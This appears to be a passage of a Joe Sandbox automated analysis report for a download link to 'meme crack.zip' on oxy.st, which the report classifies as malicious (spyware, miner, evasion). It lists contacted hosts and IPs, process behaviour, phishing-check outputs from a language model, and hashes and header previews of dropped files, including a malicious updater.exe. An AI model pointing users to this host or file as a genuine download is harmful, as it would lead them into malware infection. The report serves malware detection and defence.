https://smatr.net/sm/getcode?apiKey=b68c106c3df6f586f8cb1f48c5036112	false
https://oxy.st/slake/asset/js/ajax-mail.js	false
https://download.oxy.st/slake/asset/js/bootstrap.min.js	false
https://ww1097.smartadserver.com/genericpost	false
https://s.cpx.to/sync?dsp_uid=CAESELyFu_pHvsMZBgZtrOHPYlM&dsp=dbm&google_cver=1	false
https://onetag-sys.com/usync/?pubId=2a897e3f18e6769&cb=1718442902185	false
https://oxy.st/slake/asset/fonts/themify--fvbane.woff	false
https://id.crwdcntrl.net/id?c=17553	false
https://metrics.biddertmz.com/metric?s=85433&f=28&fi=1	false
https://metrics.biddertmz.com/metric?s=85433&f=28&fi=0	false
https://s1.oxy.st/get.php?cg=czozMjoiMDI4MmMwMWI2MjYxYzA2M2FhOTliYTRhZjU5NTk5NWUiOw%2C%2C&n=czoxNDoibWVtZSBjcmFjay56aXAiOw%2C%2C&c=czo2NDoiYTViNzkwM2Q2YzRiYzM3ZTUyZjM3YjhiY2EyYmQ3MTNkNGY0ZmI2ZDU0N2UyOGRiZTNiZjlhOTQ2YjliMGI0OCI7&t=1718442906	false
https://oxy.st/slake/asset/img/bg/flake-slider-header.jpg	false
https://oxy.st/slake/asset/js/main.js	false

URLs from Memory and Binaries

Name	Source	Malicious
https://g.live.com/odclientsettings/ProdV2C:	svchost.exe, 00000044.00000000.2152238447.000002AB7F19C000.00000004.00000001.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	svchost.exe, 0000002D.00000003.1873544585.000002479636E000.00000004.00000020.00020000.00000000.sdmp	false
https://ww1097.smartadserver.com	chromecache_333.1.dr	false
https://nuget.org/nuget.exe	powershell.exe, 00000023.00000002.1824884007.00000259C3477000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000004E.00000002.2676483974.0000021B34429000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2004/09/policye.srf	svchost.exe, 0000002D.00000003.1873544585.000002479636E000.00000004.00000020.00020000.00000000.sdmp	false
https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf	svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000023.00000002.1672846653.00000259B3401000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000004E.00000002.2077763350.0000021B243B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000073.00000002.2438127530.0000020386331000.00000004.00000800.00020000.00000000.sdmp	false
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000003.00000003.1366427379.0000021754C64000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.1366567765.0000021754C5A000.00000004.00000020.00020000.00000000.sdmp	false
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000073.00000002.2438127530.0000020386559000.00000004.00000800.00020000.00000000.sdmp	false
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000073.00000002.2438127530.0000020386559000.00000004.00000800.00020000.00000000.sdmp	false
https://account.live.com/msangcwam	svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789004310.0000024796357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	false
https://contoso.com/Icon	powershell.exe, 0000004E.00000002.2676483974.0000021B34429000.00000004.00000800.00020000.00000000.sdmp	false
http://crl.ver)	svchost.exe, 00000002.00000002.1632055852.0000024C9F400000.00000004.00000020.00020000.00000000.sdmp	false
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/Pester/Pester	powershell.exe, 00000073.00000002.2438127530.0000020386559000.00000004.00000800.00020000.00000000.sdmp	false
https://g.live.com/odclientsettings/ProdC:	svchost.exe, 00000044.00000000.2152238447.000002AB7F19C000.00000004.00000001.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/wsdl/soap12/	lsass.exe, 00000029.00000000.1638682628.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	false
http://www.microsoft.coz2	powershell.exe, 0000004E.00000002.2739512221.0000021B3C8D7000.00000004.00000020.00020000.00000000.sdmp	false
https://dynamic.t	svchost.exe, 00000003.00000003.1366482095.0000021754C60000.00000004.00000020.00020000.00000000.sdmp	false
https://g.live.com/odclientsettings/Prod-C:	svchost.exe, 00000002.00000003.1203256293.0000024C9F223000.00000004.00000800.00020000.00000000.sdmp	false
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000023.00000002.1672846653.00000259B3629000.00000004.00000800.00020000.00000000.sdmp, lsass.exe, 00000029.00000000.1638682628.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp, powershell.exe, 0000004E.00000002.2077763350.0000021B245D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000073.00000002.2438127530.0000020386559000.00000004.00000800.00020000.00000000.sdmp	false
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000003.00000003.1366644656.0000021754C30000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	false
http://danml.com/download.html	chromecache_356.1.dr	false
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	false
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf	svchost.exe, 0000002D.00000003.1786916030.0000024796310000.00000004.00000020.00020000.00000000.sdmp	false
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf	svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	false
https://login.microsoftonline.com/MSARST2.srf	svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	false
http://Passport.NET/STS	svchost.exe, 0000002D.00000003.1873544585.000002479636E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1792340087.0000024796352000.00000004.00000020.00020000.00000000.sdmp	false
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000003.00000002.1367041253.0000021754C2B000.00000004.00000020.00020000.00000000.sdmp	false
http://Passport.NET/tb	svchost.exe, 00000044.00000000.2167397068.000002AB7F367000.00000004.00000001.00020000.00000000.sdmp	false
http://docs.oasis-open.org/ws-sx/ws-trust/200512	lsass.exe, 00000029.00000000.1638939550.000001BA8DA4E000.00000004.00000001.00020000.00000000.sdmp	false
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	svchost.exe, 0000002D.00000003.1875595091.000002479630E000.00000004.00000020.00020000.00000000.sdmp	false
http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd	svchost.exe, 0000002D.00000003.1873544585.000002479636E000.00000004.00000020.00020000.00000000.sdmp	false
https://signup.live.com/signup.aspx	svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.000002479632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1787321614.0000024796355000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	false
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000003.00000003.1366411378.0000021754C67000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.1367041253.0000021754C2B000.00000004.00000020.00020000.00000000.sdmp	false
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp	false
https://account.live.com/inlinesignup.aspx?iww=1&id=80600	svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp	false
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp	false
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 00000003.00000003.1366609202.0000021754C43000.00000004.00000020.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
88.212.201.198	counter.yadro.ru	Russian Federation	39134	UNITEDNETRU	false
18.66.102.57	d2fashanjl7d9f.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
91.228.74.244	unknown	United Kingdom	27281	QUANTCASTUS	false
23.211.10.95	contextual.media.net	United States	16625	AKAMAI-ASUS	false
35.244.193.51	lexicon.33across.com	United States	15169	GOOGLEUS	false
193.17.93.93	cl-7c56f4b3.edgecdn.ru	Russian Federation	209418	ASN-KUKUAIT	false
51.89.9.252	onetag-sys.com	France	16276	OVHFR	false
77.243.51.122	uip.semasio.net	Denmark	42697	NETIC-ASDK	false
77.243.51.121	unknown	Denmark	42697	NETIC-ASDK	false
185.178.208.137	oxy.st	Russian Federation	57724	DDOS-GUARDRU	true
52.17.55.191	id.crwdcntrl.net	United States	16509	AMAZON-02US	false
95.179.241.203	unknown	Netherlands	20473	AS-CHOOPAUS	false
68.232.35.16	cs410.wac.edgecastcdn.net	United States	15133	EDGECASTUS	false
3.33.220.150	unknown	United States	8987	AMAZONEXPANSIONGB	false
34.248.22.168	metrics.biddertmz.com	United States	16509	AMAZON-02US	false
185.89.210.244	ib.anycast.adnxs.com	Germany	29990	ASN-APPNEXUS	false
157.90.33.72	uidsync.net	United States	766	REDIRISRedIRISAutonomousSystemES	false
99.81.158.184	s.cpx.to	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	cdn.themoneytizer.fr	European Union	13335	CLOUDFLARENETUS	false
23.212.88.20	lg3.media.net	United States	16625	AKAMAI-ASUS	false
178.32.210.227	unknown	France	16276	OVHFR	false
178.250.1.11	gum.nl3.vip.prod.criteo.com	France	44788	ASN-CRITEO-EUROPEFR	false
52.57.150.20	ps.eyeota.net	United States	16509	AMAZON-02US	false
145.239.192.166	ip-fo-ovh.infra.leadplace.fr	France	16276	OVHFR	false
91.228.74.159	global.px.quantserve.com	United Kingdom	27281	QUANTCASTUS	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false
78.140.242.74	unknown	Russian Federation	35000	PROMETEYPROMETEYLLCRU	false
89.149.192.200	rtb-csync-euw1.smartadserver.com	Netherlands	60781	LEASEWEB-NL-AMS-01NetherlandsNL	false
185.89.210.212	unknown	Germany	29990	ASN-APPNEXUS	false
185.64.191.210	pug-lhr-bc.pubmnet.com	United Kingdom	62713	AS-PUBMATICUS	false
52.49.45.15	unknown	United States	16509	AMAZON-02US	false
89.149.192.240	euw1.smartadserver.com	Netherlands	60781	LEASEWEB-NL-AMS-01NetherlandsNL	false
178.154.131.217	yastatic.net	Russian Federation	13238	YANDEXRU	false
34.251.183.115	match.prod.bidr.io	United States	16509	AMAZON-02US	false
35.214.149.91	user-data-eu.bidswitch.net	United States	19527	GOOGLE-2US	false
15.197.193.217	match.adsrvr.org	United States	7430	TANDEMUS	false
35.244.159.8	u.openx.net	United States	15169	GOOGLEUS	false
157.90.33.121	system-notify.app	United States	766	REDIRISRedIRISAutonomousSystemES	false
142.250.181.238	dl.google.com	United States	15169	GOOGLEUS	false
52.51.190.15	adtrack-php-loadbalancer-vpc-1246401395.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
185.89.210.82	unknown	Germany	29990	ASN-APPNEXUS	false
46.243.182.89	lb-prod.adlook.me	Russian Federation	209974	ITGLOBALRU	false
88.208.46.222	ogffa.net	Netherlands	39572	ADVANCEDHOSTERS-ASNL	false
142.250.186.162	cm.g.doubleclick.net	United States	15169	GOOGLEUS	false
91.134.110.128	euw2.smartadserver.com	France	16276	OVHFR	false
52.49.242.239	unknown	United States	16509	AMAZON-02US	false
104.21.234.183	s1.oxy.st	United States	13335	CLOUDFLARENETUS	false
3.121.173.151	cdn.w55c.net	United States	16509	AMAZON-02US	false
104.21.234.182	unknown	United States	13335	CLOUDFLARENETUS	false
104.22.53.86	cdn.id5-sync.com	United States	13335	CLOUDFLARENETUS	false
141.95.33.120	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
50.57.31.206	uipus.semasio.net	United States	19994	RACKSPACEUS	false
188.114.96.3	tmzr.themoneytizer.fr	European Union	13335	CLOUDFLARENETUS	false
162.19.138.117	lb.eu-1-id5-sync.com	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
162.19.138.116	id5-sync.com	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false

Private

IP
127.0.0.1
192.168.2.16

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1457783
Start date and time:	2024-06-15 11:14:21 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://oxy.st/d/SmUh
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	99
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	30
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.spyw.expl.evad.mine.win@163/287@161/58
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, consent.exe, SIHClient.exe, MoUsoCoreWorker.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe, schtasks.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.131, 172.217.18.110, 74.125.206.84, 34.104.35.123, 216.58.206.42, 142.250.186.99, 172.67.43.178, 104.22.62.227, 104.22.63.227, 2.16.202.64, 95.101.54.240, 172.217.16.138, 142.250.185.170, 172.217.18.10, 142.250.185.234, 142.250.184.234, 172.217.16.202, 142.250.186.42, 142.250.185.202, 142.250.186.170, 142.250.181.234, 142.250.185.106, 142.250.74.202, 142.250.186.106, 142.250.186.138, 142.250.184.202, 216.58.206.74, 93.184.221.240, 69.173.144.139, 69.173.144.138, 69.173.144.165, 23.211.8.90, 52.165.165.26, 20.166.126.56, 20.3.187.198, 37.157.6.254, 37.157.6.243, 37.157.6.233, 37.157.6.237, 37.157.6.232, 40.127.169.103, 142.250.186.163, 40.126.32.72, 40.126.32.140, 40.126.32.136, 40.126.32.68, 20.190.160.14, 40.126.32.133, 20.190.160.22, 20.190.160.17, 2.16.241.14, 2.16.241.15, 95.101.54.242, 2.16.202.65, 23.215.16.230, 2.16.100.25, 2.16.100.27, 2.16.101.112, 2.16.101.115, 2.16.101.97, 2.16.101.121, 2.16.101.122, 2.16.100.33, 2.16.101.107, 142.250.186.174, 2
Excluded domains from analysis (whitelisted): arc-ring.msedge.net, uipglob.trafficmanager.net, slscr.update.microsoft.com, cdn-ns.cdn-prod-sas.akadns.net, clientservices.googleapis.com, cxcs.microsoft.net.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, e16604.g.akamaiedge.net, a1184.b.akamai.net, update.googleapis.com, rtb-csync-geo.usersync-prod-sas.akadns.net, e3230.b.akamaiedge.net, ads.themoneytizer.com.cdn.cloudflare.net, www.bing.com, geo-global-secure.delivery-prod-sas.akadns.net, fonts.googleapis.com, mcr-ring.msedge.net, fs.microsoft.com, content-autofill.googleapis.com, www.tm.v4.a.prd.aadg.akadns.net, akns.sascdn.com.edgesuite.net, akamai.smartadserver.com.edgesuite.net, csync.smartadserver.com.edgesuite.net, edgedl.me.gvt1.com, a1845.dscb.akamai.net, wwwprod.www-bing-com.akadns.net, clients.l.google.com, www.tm.lg.prod.aadmsa.trafficmanager.net, a577.dscb.akamai.net, pixel.rubiconproject.net.akadns.net, fs-wildcard.microsoft.com.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:14:55	API Interceptor	111077x Sleep call for process: svchost.exe modified
05:15:31	API Interceptor	3x Sleep call for process: updater.exe modified
05:15:34	API Interceptor	193x Sleep call for process: powershell.exe modified
05:16:02	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified
05:16:07	API Interceptor	1x Sleep call for process: SystemSettings.exe modified
05:16:10	API Interceptor	409876x Sleep call for process: winlogon.exe modified
05:16:11	API Interceptor	364385x Sleep call for process: lsass.exe modified
05:16:11	API Interceptor	239x Sleep call for process: dialer.exe modified
05:16:34	API Interceptor	219088x Sleep call for process: dwm.exe modified
05:17:33	API Interceptor	1x Sleep call for process: cli_gui.exe modified

LLM Input / Output

Input	Output
URL: https://oxy.st/d/SmUh Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "urgency": false, "captcha": false, "reasons": [ "The webpage does not contain a login form explicitly requesting sensitive information such as passwords, email addresses, usernames, phone numbers or credit card numbers (CVV).", "The text does not create a sense of urgency or interest by not including phrases like 'Click here to view document', 'To view secured document click here', or 'Open the link to see your invoice'.", "The webpage does not contain a CAPTCHA or any other anti-robot detection mechanism." ] }
Title: Download file meme crack.zip on Oxy.Cloud OCR: This site uses cookies to store data. Informed By continuing to use the site, you consent to the storage of cookies su pport@oxy.st Sign up Login C) Oxy.Cloud OFFICIAL TELECRAM CHANNEL AFFILIATE PROGRAM CONTACT US Opera browser Integrated messengers Free VPN Chat wth friends right in your browser without Browse comfortably with enhanced privacy switching apps and security: for free Download NO, Thank you, continue
URL: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8# Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "urgency": false, "captcha": false, "reasons": [ "The webpage does not contain a login form explicitly requesting sensitive information.", "The text does not create a sense of urgency.", "The webpage does not contain a CAPTCHA or any other anti-robot detection mechanism." ] }
Title: Download file meme crack.zip on Oxy.Cloud OCR: Oxy.CIoud OFFICIAL TELEGRAM CHANNEL AFFILIATE PROGRAM CONTACT US File uploading File name: meme crack_zip uploading: Download file
URL: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8# Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "urgency": false, "captcha": false, "reasons": [ "The webpage does not contain a login form explicitly requesting sensitive information.", "The text does not create a sense of urgency.", "The webpage does not contain a CAPTCHA or any other anti-robot detection mechanism." ] }
Title: Download file meme crack.zip on Oxy.Cloud OCR: Login Sign Up English English YkpaiHCbkL11 pycck support@oxy.st Oxy.Cloud OFFICIAL TELEGRAM CHANNEL AFFILIATE PROGRAM CONTACT US File uploading File name: meme crack-zip uploading: Download file

Process:	C:\Program Files\Microsoft\Edge\updater.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5% Antivirus: Virustotal, Detection: 4%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

C:\Program Files\Microsoft\Edge\updater.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\updater.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	6028664
Entropy (8bit):	7.666630157401685
Encrypted:	false
SSDEEP:	98304:mqH5yorsiuEImTRqgWj/PDDKlATbRsk7YAChRmaUKIJT:mq9r+EIWkj3DDKaxJQRm5LJT
MD5:	8CD62E3ECE85C4C3E9F6F7C816256ADF
SHA1:	9712769BE3F755C5ECBE68D38800A3A8ECDAF324
SHA-256:	39EBCDBB6993787BE2ED9D2B6668B9EE2707CA483A66B51D1302BFC610BA021B
SHA-512:	A0AA9F0E6542C526FC18D48AB945D8BE3245900381C9640F6E122A633A15DD9A9364BACD830FBC588A926EBEF8240300C1FBF4211EAE600CFF8B7E2C63613501
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79% Antivirus: Virustotal, Detection: 68%, Browse
Reputation:	unknown
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$.......PE..d....Z.e...............&......[..$.............@.............................P\.......\...`... ...............................................[.4.....[..I...`[.......[.x/...@\.0........................... K[.(.....................[.P............................text...............................`..`.data...@\Y......^Y.................@....rdata...=... [..>....[.............@..@.pdata.......`[......L[.............@..@.xdata..<.....[......`[.............@..@.bss.....#....[..........................idata..4.....[......p[.............@....CRT....`.....[......\|[.............@....tls..........[......~[.............@....rsrc....I....[..J....[.............@....reloc..0....@\.......[.............@..B........................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.35999246155449205
Encrypted:	false
SSDEEP:	6:6x7oaaD0JOCEfMuaaD0JOCEfMKQmDEx7oaaD0JOCEfMuaaD0JOCEfMKQmD:5aaD0JcaaD0JwQQnaaD0JcaaD0JwQQ
MD5:	2B8F176FB732A3D40DCA3F8C44C08939
SHA1:	B704B8A37D53766F924559CD7612AC741D49CA79
SHA-256:	5063B746B5654A40DDF03A94249718F27CD9558D103D307DD66A728A8DCF1183
SHA-512:	A32A8EEBBA1EE449F81858EA183D6879E1A7BDA4E48EAD2DF96897603049597252133E28F65496763874FF45F3F7B094363909BEAC6813657BA9E1B51FE7176E
Malicious:	false
Reputation:	unknown
Preview:	*.>.................D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8255818129184319
Encrypted:	false
SSDEEP:	3072:yJjAgNE4Pj5vHcjTcyBP9UjaaQ/ka4qWL1:QAgN8nj/ka4
MD5:	62EDACB098D85A413970D0F7CF3A5250
SHA1:	8E7FF2B123E6B9EF14B1E3A103DF9703B7474775
SHA-256:	8BD0416B37E09DA9B82B9994C63A986E7C65B5157F778E4401182C480D1FE5D1
SHA-512:	B98EB29A896F5F94A210A64AB942ACE723707C926ED6EEC7C4A5DC8A23477262F92D71B30DFEBCA1CFCD81C6266B2F090067DF68B16F020F45BEB3C3026DA283
Malicious:	false
Reputation:	unknown
Preview:	..6.........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................d6d6.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x27f88a3c, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6625841818878098
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/5kfHWy10MctJk9ka4XQ0xxpixN3g16caUPkLk+kqt4eCu3uKRT:Taza/L70ka4poU4RF3p3pvHzrHBHz
MD5:	F1F89E37C8D361B00510498EFD758382
SHA1:	13C70F02B65B68F9332192C4838FB80DD3AE9C5F
SHA-256:	F67920ABD0ADA32EBB6280145EF7FB8333CFFBD514EC62730C04AC97ACA8E59C
SHA-512:	9E425C0AEE621972F885BB14DE4E41E0AD2F31E797E4D68376EDB39F518B010F1FABFCF207302BBB4C39171AE11FCEB4B87661D473FC611A78562C25908CCCCE
Malicious:	false
Reputation:	unknown
Preview:	'..<... ...............X\...;...{..............................,....\|..2....\|Q.h.......,....\|..............D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{..................................[...,....\|.9................y..,....\|...........................#..............................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07953008825248192
Encrypted:	false
SSDEEP:	3:qxyOetYeg9loq0HqYW7g5mF/XKoYZuHallZA/l/ll/TPl0:KyrzCyqpYaHNcZPLia
MD5:	D3FA473ED902F1AF0324721547539B75
SHA1:	4767415E314B258E08BCD59CF4A59EB3D4DA7590
SHA-256:	A52697ABDDDBB8133C2C98E776F826BD4BB88C6574247B271D98CF937C941ACA
SHA-512:	9DCEE9F2D8A3C0C8B302408BE36A4D4978A80DB530698F7A85B7FF42AA12D5BF4F78228F3D208C4A4A344425EFD7EAB6B974AA31FD3B06EE9B06C693DCA6B60C
Malicious:	false
Reputation:	unknown
Preview:	.Zz......................................;...{..2....\|Q.,....\|..........,....\|..,....\|......,....\|..................y..,....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\component_crx_cache\neifaoindggfcjicffkgpmnlppeffabd_1.c900ba9a2d8318263fd43782ee6fd5fb50bad78bf0eb2c972b5922c458af45ed (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	1181927
Entropy (8bit):	7.997580237306415
Encrypted:	true
SSDEEP:	24576:rq9Lbk1ZSPg10//xALQtigTPnWqHAD/Dzj4ZmM4/wIwIs10XYyyJeSq3IfI+GN1s:6LQPcC0//yLlgTPWqgzDH4ZmZs6XYy8r
MD5:	F265D47475FFD3884329D92DEEFAE504
SHA1:	98C74386481F171B09CB9490281688392EEFBFDD
SHA-256:	C900BA9A2D8318263FD43782EE6FD5FB50BAD78BF0EB2C972B5922C458AF45ED
SHA-512:	4FD27594C459FB1CD94A857BE10F7D1D6216DBF202CD43E8A3FA395A268C72FC5F5C456C9CB314F2220D766AF741DB469C8BB106ACBED419149A44A3B87619F1
Malicious:	false
Reputation:	unknown
